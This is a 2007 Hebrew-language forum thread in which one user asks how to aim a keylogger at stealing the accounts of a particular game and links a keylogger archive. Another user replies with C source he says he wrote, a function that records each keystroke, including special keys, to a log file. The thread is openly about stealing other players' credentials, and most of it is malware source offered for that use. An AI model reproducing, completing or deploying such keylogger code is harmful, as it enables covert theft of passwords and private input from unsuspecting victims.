20/11/2007 16:44:55
feffer
דבר ראשון איך אני מכוון תקי לוגר שיגנוב משתמשים של משחק מסוים הורדתי את הדוגמאות http://debugger.110mb.com/Keyloggers.zip מפה איך אפשר לכוון אותם
ואם בכלל יש לכם קי לוגר אחר למה גוגל סיבך אותי
15/12/2007 16:50:10
micha999
אפשר לשאול קודם כול באיזה קי לוגר אתה משתמש?
20/12/2007 09:05:24
iNDi@NBoY
כתבתי את זה. אחד פשוט שהוא בלתי נראה יש מצב שיש כמה באגים לא בדקתי עד הסוף...
קוד:/**************************************** * * * Simple KeyLogger By 17BatataCr3w * * Written By 17Batata AKA iNDi@NBoY * * * ***************************************/
void keys(int key,char *file) { /* This is where log is written to */
FILE *key_file; key_file = fopen(file,"a+");
/* Special Chars */
/* if (key ==1) fprintf(key_file,"%s","[BUTTON LEFT]"); if (key ==2) fprintf(key_file,"%s","[BUTTON RIGHT]"); if (key ==3) fprintf(key_file,"%s","[BUTTON MID]"); if (key ==45) fprintf(key_file,"%s","[INSERT]"); if (key==8) fprintf(key_file,"%s","[DEL]"); if (key==13) fprintf(key_file,"%s","\n"); if (key==32) fprintf(key_file,"%s"," ");*/ if (key==VK_CAPITAL) fprintf(key_file,"%s","[CAPS LOCK]"); if (key==VK_TAB) fprintf(key_file,"%s","[TAB]"); if (key ==VK_SHIFT) fprintf(key_file,"%s","[SHIFT]"); if (key ==VK_CONTROL) fprintf(key_file,"%s","[CTRL]"); if (key ==VK_PAUSE) fprintf(key_file,"%s","[PAUSE]"); if (key ==VK_KANA) fprintf(key_file,"%s","[KANA]"); if (key ==VK_ESCAPE) fprintf(key_file,"%s","[ESC]"); if (key ==VK_END) fprintf(key_file,"%s","[END]"); if (key==VK_HOME) fprintf(key_file,"%s","[HOME]"); if (key ==VK_LEFT) fprintf(key_file,"%s","[LEFT]"); if (key ==VK_UP) fprintf(key_file,"%s","[UP]"); if (key ==VK_RIGHT) fprintf(key_file,"%s","[RIGHT]"); if (key ==VK_DOWN) fprintf(key_file,"%s","[DOWN]"); if (key ==VK_SNAPSHOT) fprintf(key_file,"%s","[PRINT]"); if (key ==VK_NUMLOCK) fprintf(key_file,"%s","[NUM LOCK]"); if (key ==190 || key==110) fprintf(key_file,"%s","."); if (key ==91) fprintf(key_file,"%s","[WIN]"); if (key ==93) fprintf(key_file,"%s","[MENU]"); if (key ==95) fprintf(key_file,"%s","[SLEEP]"); if (key ==145) fprintf(key_file,"%s","[SCROLL LOCK]"); if (key ==112) fprintf(key_file,"%s","[F1]"); if (key ==113) fprintf(key_file,"%s","[F2]"); if (key ==114) fprintf(key_file,"%s","[F3]"); if (key ==115) fprintf(key_file,"%s","[F4]"); if (key ==116) fprintf(key_file,"%s","[F5]"); if (key ==117) fprintf(key_file,"%s","[F6]"); if (key ==118) fprintf(key_file,"%s","[F7]"); if (key ==119) fprintf(key_file,"%s","[F8]"); if (key ==120) fprintf(key_file,"%s","[F9]"); if (key ==121) fprintf(key_file,"%s","[F10]"); if (key ==122) fprintf(key_file,"%s","[F11]"); if (key ==123) fprintf(key_file,"%s","[F12]");
/* Standard Chars */
if (key >=96 && key <= 105) { key -= 48; fprintf(key_file,"%s",&key); } if (key >=48 && key <= 59) fprintf(key_file,"%s",&key); if (key !=VK_LBUTTON || key !=VK_RBUTTON) { if (key >=65 && key <=90) { if (GetKeyState(VK_CAPITAL)) fprintf(key_file,"%s",&key); else { key += 32; fprintf(key_file,"%s",&key); } } } fclose(key_file); }